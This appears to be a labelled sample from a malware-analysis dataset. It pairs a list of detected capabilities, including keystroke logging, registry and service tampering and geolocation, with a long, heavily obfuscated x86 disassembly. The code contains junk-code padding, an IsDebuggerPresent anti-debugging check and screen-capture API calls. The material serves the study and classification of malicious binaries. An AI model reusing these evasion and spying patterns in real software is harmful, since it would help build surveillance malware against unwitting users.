Function at 0x1002edd1
Capabilities:
Check os version
Delete file
Delete registry key
Delete registry value
Enumerate files on windows
Get common file path
Get disk information
Get file attributes
Get geographical location
Get memory capacity
Log keystrokes
Modify service
Parse pe header
Query environment variable
Read .ini file
Resume thread
Set environment variable

Disassembly:
mov eax, 0x1008819d
call fcn.10086ab8
mov eax, 0x16cc
call fcn.10083270
push ebx
push esi
mov dword [ebp - 0x40], 0x9d29
xor ebx, ebx
mov dword [ebp - 0x34], 0x887cf2e5
inc ebx
push edi
mov dword [ebp - 0x34], 0x9ed9ba07
mov dword [ebp - 0x14], 0x285faafe
push 2
mov dword [ebp - 0x34], 0
pop edi
mov dword [ebp - 0x88], ecx
lea ecx, [ebp - 0x1198]
mov dword [ebp - 0x34], 0x97412df3
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x34], 0x59cdc345
push edi
mov byte [ebp - 0x81], dl
call fcn.10015bd6
xor eax, eax
lea ecx, [ebp - 0xb18]
push edi
mov dword [ebp - 4], eax
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002ee76
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1198]
call fcn.10015c74
mov dword [eax], 0x2e7ccc89
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002ee58
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002ee9c
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb18]
call fcn.10015c74
mov dword [eax], 0xfffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002ee7e
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x40], eax
je 0x1002eea5
mov esi, ebx
push eax
lea ecx, [ebp - 0xb18]
call fcn.10015c74
xor edx, edx
push 5
dec dword [eax]
cmp esi, dword [eax]
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
pop ecx
push 0xffffffffffffffff
pop esi
push 0xfffffffffffffffd
mov dword [ebp - 0x14], eax
pop edx
jmp 0x1002eef4
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0x58d8
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
je 0x1002eed7
lea ecx, [ebp - 0xb18]
call fcn.10015c58
lea ecx, [ebp - 0x1198]
mov dword [ebp - 4], esi
call fcn.10015c58
movdqa xmm0, xmmword [0x10007c40]
lea eax, [ebp - 0x11d0]
push eax
lea eax, [ebp - 0x11e0]
mov dword [ebp - 0x44], 0x5c68ec0a
mov dword [ebp - 0x1c], 0xeec54165
lea ecx, [ebp - 0x1650]
push eax
movdqu xmmword [ebp - 0x11e0], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x29f]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xe0]
push dword [esi]
call fcn.10015c32
mov dword [ebp - 4], edi
or eax, 0xffffffff
mov dword [ebp - 0x28], 0x81320f2d
mov ecx, 0xffff
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
push 3
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x1002efa7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7c0], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002ef93
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002efbd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1598], 0x2499e68f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002efac
push ebx
lea ecx, [ebp - 0xe0]
call fcn.10015c74
xor ebx, ebx
cmp dword [eax], ebx
jne 0x1002efe1
push ebx
lea ecx, [ebp - 0xe0]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0xe0]
call fcn.10015c74
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
je 0x1002f003
push eax
lea ecx, [ebp - 0xe0]
call fcn.10015c74
push esi
lea ecx, [ebp - 0xe0]
call fcn.10015c74
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xe0]
setge bl
xor eax, eax
push eax
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe0]
mov esi, dword [ebp - 0x24]
neg esi
sbb esi, esi
xor ebx, ebx
push ebx
neg esi
call fcn.10015c74
mov eax, dword [eax]
imul eax, esi
test eax, eax
jne 0x1002f054
mov eax, dword [ebp - 0x28]
push ebx
lea ecx, [ebp - 0xe0]
call fcn.10015c74
xor edi, edi
lea ecx, [ebp - 0xe0]
inc edi
push edi
call fcn.10015c74
push 3
pop eax
push eax
lea ecx, [ebp - 0xe0]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0xe0]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0xe0]
call fcn.10015c74
mov eax, dword [eax]
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x1598], eax
mov dword [ebp - 0x28], 0x12
jmp 0x1002f195
mov dword [ebp - 0x24], 0x98c5
xor edx, edx
mov dword [ebp - 0x14], 0xabee
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 2
mov eax, dword [ebp - 0x7c0]
mov eax, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x40], 0xbae54fcd
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
add edx, 0x796fb6c7
jne 0x1002f101
push edi
lea ecx, [ebp - 0xe0]
call fcn.10015c74
cmp dword [eax], ebx
jne 0x1002f101
mov ecx, edi
jmp 0x1002f107
xor eax, eax
xor ebx, ebx
mov ecx, eax
mov eax, dword [ebp - 0x14]
sub ecx, eax
add ecx, dword [ebp - 0x14]
imul eax, ecx, 0x74b4
lea ecx, [ebp - 0xe0]
push ebx
mov dword [ebp - 0x4c], eax
call fcn.10015c74
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
imul ecx, dword [ebp - 0x40]
cmp ecx, 0x1bd053a6
lea ecx, [ebp - 0xe0]
setg bl
sub ebx, dword [ebp - 0x7bc]
neg ebx
sbb ebx, ebx
inc ebx
sub ebx, dword [eax]
neg ebx
sbb ebx, ebx
inc ebx
neg ebx
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10015c74
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x7b8]
setle cl
sub ecx, eax
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x7c0], eax
je 0x1002f18c
cmp dword [ebp - 0x14], eax
je 0x1002f18c
mov eax, edi
push 0
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x28]
pop ebx
or eax, 0xffffffff
cmp dword [ebp - 0x28], 0x14
jge 0x1002f0b0
lea ecx, [ebp - 0xe0]
mov dword [ebp - 4], eax
call fcn.10015c58
movdqa xmm0, xmmword [0x10007b90]
lea ecx, [ebp - 0x1518]
mov eax, 0x47c4d145
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x398], eax
lea eax, [ebp - 0x12d0]
push eax
lea eax, [ebp - 0x12e0]
mov dword [ebp - 0x38], 0x1521
mov dword [ebp - 0x54], 0x477862fd
mov dword [ebp - 0x34], 0x151c3c39
push eax
movdqu xmmword [ebp - 0x12e0], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x27c]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x13ec]
push dword [esi]
call fcn.10015c32
push 3
pop ebx
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x54], eax
jmp 0x1002f31c
mov dword [ebp - 0x58], 0x398070a
lea ecx, [ebp - 0x10f4]
mov dword [ebp - 0x34], 0xe3ff14eb
mov dword [ebp - 0x34], 0x714ad38
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 9
push 4
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x14], eax
jmp 0x1002f28b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x10f4]
call fcn.10015c74
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002f277
mov dword [ebp - 0x58], 0x10
jmp 0x1002f2e5
push ebx
lea ecx, [ebp - 0xecc]
call fcn.10015bd6
push 5
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x24], 0x450b
mov dword [ebp - 0x14], eax
jmp 0x1002f2cb
push dword [ebp - 0x14]
call fcn.10015c74
mov dword [eax], 0x56a3367f
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xecc]
cmp dword [ebp - 0x14], ebx
jl 0x1002f2ba
dec dword [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.10015c58
dec dword [ebp - 0x58]
cmp dword [ebp - 0x58], 4
jle 0x1002f29a
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002f306
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f303
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002f2f2
lea ecx, [ebp - 0x10f4]
mov byte [ebp - 4], bl
call fcn.10015c58
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffeb
push 8
pop eax
jl 0x1002f240
or eax, 0xffffffff
lea ecx, [ebp - 0x13ec]
mov dword [ebp - 4], eax
call fcn.10015c58
mov dword [ebp - 0x24], 0x534ce5fe
lea ecx, [ebp - 0x2dc]
push edi
call fcn.10015bd6
push 6
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x62c]
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x24], 0x3fc4b03e
push 2
call fcn.10015bd6
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x24], 0x80d1c1d6
mov dword [ebp - 0x3c], 0xfedaacda
mov dword [ebp - 0x44], eax
push 0xfffffffffffffffa
pop esi
cmp dword [ebp - 0x44], edi
jge 0x1002f3a5
push dword [ebp - 0x44]
lea ecx, [ebp - 0x2dc]
call fcn.10015c74
mov dword [eax], esi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jl 0x1002f38b
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x1002f3c5
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x14ac], 0
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1002f3ad
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x1002f3e9
push dword [ebp - 0x44]
lea ecx, [ebp - 0x62c]
call fcn.10015c74
mov dword [eax], esi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jl 0x1002f3ce
xor eax, eax
push eax
lea ecx, [ebp - 0x2dc]
call fcn.10015c74
xor ebx, ebx
lea ecx, [ebp - 0x2dc]
push ebx
inc dword [eax]
call fcn.10015c74
cmp dword [eax], ebx
jne 0x1002f418
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x14a8], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push ebx
lea ecx, [ebp - 0x62c]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x2dc]
mov esi, eax
call fcn.10015c74
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setg dl
cmp edx, 0x4365
je 0x1002f457
push ebx
lea ecx, [ebp - 0x2dc]
call fcn.10015c74
cmp dword [eax], ebx
je 0x1002f457
mov esi, edi
jmp 0x1002f45d
xor eax, eax
xor ebx, ebx
mov esi, eax
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x62c]
push ebx
call fcn.10015c74
xor ebx, ebx
lea ecx, [ebp - 0x2dc]
cmp esi, dword [eax]
setle bl
xor eax, eax
push eax
call fcn.10015c74
lea ecx, [ebp - 0x2dc]
mov eax, dword [eax]
sub eax, ebx
xor ebx, ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push ebx
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x2dc]
call fcn.10015c74
push edi
lea ecx, [ebp - 0x62c]
call fcn.10015c74
push 8
pop ecx
push ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x2dc]
sbb esi, esi
neg esi
call fcn.10015c74
xor ecx, ecx
cmp esi, dword [eax]
setl cl
cmp ecx, 0xfffffff7
lea ecx, [ebp - 0x62c]
setge bl
xor eax, eax
push eax
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x62c]
call fcn.10015c58
or esi, 0xffffffff
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 4], esi
call fcn.10015c58
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffef
jg 0x1002fa9b
push 3
pop ebx
jmp 0x1002f526
xor eax, eax
mov dword [ebp - 0x14], 0xa0d72276
mov dword [ebp - 0x1c], 0x56915a13
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f554
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1ac], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f53c
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f574
push 0x1a26
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
xor eax, eax
xor esi, esi
mov dword [ebp - 0x1c], eax
inc esi
cmp dword [ebp - 0x1c], 2
jg 0x1002f660
mov dword [ebp - 0x14], eax
jmp 0x1002f59a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7f4], 0xee61780e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f589
mov eax, dword [ebp - 0x1c]
xor edx, edx
push 6
mov eax, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1ac]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1ac]
cmp edx, eax
pop eax
setl cl
cmp eax, ecx
mov eax, dword [ebp - 0x1ac]
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1ac]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
sub edx, dword [ebp + eax*4 - 0x1ac]
cmp edx, ebx
jl 0x1002f61d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ac], ecx
xor eax, eax
mov dword [ebp - 0x7f4], ecx
cmp dword [ebp - 0x1a8], eax
jne 0x1002f65b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002f584
push 3
xor eax, eax
pop ebx
mov dword [ebp - 0x14], eax
jmp 0x1002f676
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1168], 0x53bc6e5c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f665
mov eax, dword [ebp - 0x1160]
xor edx, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
push 2
setg dl
lea ecx, [ebp - 0xee4]
mov dword [ebp - 0x14], edx
xor eax, eax
mov dword [ebp - 0x40], 0x9d29
mov dword [ebp - 0x34], 0x887cf2e5
mov dword [ebp - 0x34], 0x9ed9ba07
mov dword [ebp - 0x14], 0x285faafe
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0x97412df3
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], 0x59cdc345
call fcn.10015bd6
push 8
pop eax
push 2
lea ecx, [ebp - 0xc98]
mov dword [ebp - 4], eax
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f714
push dword [ebp - 0x10]
lea ecx, [ebp - 0xee4]
call fcn.10015c74
mov dword [eax], 0x2e7ccc89
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f6f5
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f73c
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc98]
call fcn.10015c74
mov dword [eax], 0xfffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f71d
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002f743
mov esi, eax
push eax
lea ecx, [ebp - 0xc98]
call fcn.10015c74
xor edx, edx
push 5
dec dword [eax]
cmp esi, dword [eax]
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
or esi, 0xffffffff
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jne 0x1002f798
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0x58d8
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x14]
jmp 0x1002f770
lea ecx, [ebp - 0xc98]
call fcn.10015c58
lea ecx, [ebp - 0xee4]
mov dword [ebp - 4], esi
call fcn.10015c58
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002fa84
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fa81
movdqa xmm0, xmmword [0x10007c40]
lea eax, [ebp - 0x1210]
push eax
lea eax, [ebp - 0x1220]
push eax
lea ecx, [ebp - 0x15a0]
movdqu xmmword [ebp - 0x1220], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x29e]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x104]
push dword [esi]
call fcn.10015c32
mov dword [ebp - 4], 0xa
or eax, 0xffffffff
mov dword [ebp - 0x28], 0x81320f2d
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002f84f
mov ecx, 0xffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6fc], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f83b
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f865
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x15b0], 0x2499e68f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002f854
xor eax, eax
lea ecx, [ebp - 0x104]
inc eax
push eax
call fcn.10015c74
xor ebx, ebx
cmp dword [eax], ebx
jne 0x1002f88c
push ebx
lea ecx, [ebp - 0x104]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x104]
call fcn.10015c74
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
je 0x1002f8ae
push eax
lea ecx, [ebp - 0x104]
call fcn.10015c74
push 3
pop eax
push eax
lea ecx, [ebp - 0x104]
call fcn.10015c74
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x104]
setge bl
xor eax, eax
push eax
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x104]
mov esi, dword [ebp - 0x24]
neg esi
sbb esi, esi
xor ebx, ebx
push ebx
neg esi
call fcn.10015c74
mov eax, dword [eax]
imul eax, esi
test eax, eax
jne 0x1002f902
mov eax, dword [ebp - 0x28]
push ebx
lea ecx, [ebp - 0x104]
call fcn.10015c74
xor esi, esi
lea ecx, [ebp - 0x104]
inc esi
push esi
call fcn.10015c74
push 3
pop eax
push eax
lea ecx, [ebp - 0x104]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x104]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x104]
call fcn.10015c74
mov eax, dword [eax]
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0x15b0], eax
mov dword [ebp - 0x28], 0x12
cmp dword [ebp - 0x28], 0x14
jl 0x1002fa55
mov dword [ebp - 0x24], 0x98c5
or eax, 0xffffffff
mov dword [ebp - 0x58], 0xabee
xor edx, edx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 2
mov eax, dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x40], 0xbae54fcd
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
add edx, 0x796fb6c7
jne 0x1002f9b7
push esi
lea ecx, [ebp - 0x104]
call fcn.10015c74
cmp dword [eax], ebx
jne 0x1002f9b7
mov ecx, esi
jmp 0x1002f9bd
xor eax, eax
xor ebx, ebx
mov ecx, eax
mov eax, dword [ebp - 0x58]
sub ecx, eax
add ecx, dword [ebp - 0x58]
imul eax, ecx, 0x74b4
lea ecx, [ebp - 0x104]
push ebx
mov dword [ebp - 0x4c], eax
call fcn.10015c74
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
imul ecx, dword [ebp - 0x40]
cmp ecx, 0x1bd053a6
lea ecx, [ebp - 0x104]
setg bl
sub ebx, dword [ebp - 0x6f8]
neg ebx
sbb ebx, ebx
inc ebx
sub ebx, dword [eax]
neg ebx
sbb ebx, ebx
inc ebx
neg ebx
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10015c74
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x6f4]
setle cl
sub ecx, eax
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x6fc], eax
je 0x1002fa42
cmp dword [ebp - 0x58], eax
je 0x1002fa42
mov eax, esi
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x14
push 0
pop ebx
jge 0x1002f963
or esi, 0xffffffff
lea ecx, [ebp - 0x104]
mov dword [ebp - 4], esi
call fcn.10015c58
mov eax, dword [ebp - 0x1c]
push 3
mov dword [ebp + eax*4 - 0x1168], ebx
inc dword [ebp - 0x1c]
pop ebx
cmp dword [ebp - 0x1c], ebx
jl 0x1002f7c7
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1002f7bb
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffef
jle 0x1002f524
push 4
lea ecx, [ebp - 0x4fc]
call fcn.10015bd6
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x24], 0x80c3414b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002fadc
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4fc]
call fcn.10015c74
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002fac1
xor eax, eax
xor esi, esi
mov dword [ebp - 0x10], eax
inc esi
cmp dword [ebp - 0x10], esi
jge 0x1002faff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9c], 0xada439be
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002fae7
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0x9c], ebx
cmp dword [ebp - 0x9c], eax
jl 0x1002fc00
mov dword [ebp - 0x3c], 0x21de
lea ecx, [ebp - 0xb30]
push 4
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x14], eax
jmp 0x1002fb4a
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb30]
call fcn.10015c74
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002fb33
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x9c]
xor eax, eax
cmp dword [ebp - 0x9c], eax
jne 0x1002fb74
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x4fc]
call fcn.10015c74
push esi
lea ecx, [ebp - 0x4fc]
call fcn.10015c74
lea ecx, [ebp - 0x4fc]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
xor eax, eax
push eax
call fcn.10015c74
mov ecx, dword [ebp - 0x24]
xor ebx, ebx
push 2
add ecx, dword [eax]
or eax, 0xffffffff
cmp ecx, eax
lea ecx, [ebp - 0x4fc]
setge bl
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
sete cl
xor ebx, ebx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x4fc]
push ebx
call fcn.10015c74
xor ecx, ecx
push esi
cmp dword [eax], ebx
sete cl
cmp ecx, dword [ebp - 0x3c]
lea ecx, [ebp - 0xb30]
setle bl
call fcn.10015c74
lea ecx, [ebp - 0xb30]
mov byte [ebp - 4], 0xb
mov dword [eax], ebx
call fcn.10015c58
dec dword [ebp - 0x9c]
jns 0x1002fb14
push 3
pop ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x4fc]
mov dword [ebp - 4], eax
call fcn.10015c58
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002fd7a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002fc3e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1404], 0x5cb5542a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fc26
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002fc5e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x990], 0x68fc786c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fc46
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x1002fd77
mov eax, dword [ebp - 0x990]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x3a4]
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x3a0]
jg 0x1002fca2
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
push 5
mov eax, dword [ebp + eax*4 - 0x3a4]
pop eax
mov dword [ebp - 0x1400], eax
mov eax, dword [ebp - 0x44]
push 5
mov ecx, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x44]
neg ecx
mov eax, dword [ebp + eax*4 - 0x3a4]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
sub edx, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x990]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x988]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
sete bl
xor ecx, ecx
mov esi, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x44]
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, esi
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
pop edx
setne cl
push 3
add ecx, dword [ebp + eax*4 - 0x3a4]
xor eax, eax
cmp ecx, edx
pop ebx
setle al
mov dword [ebp - 0x990], eax
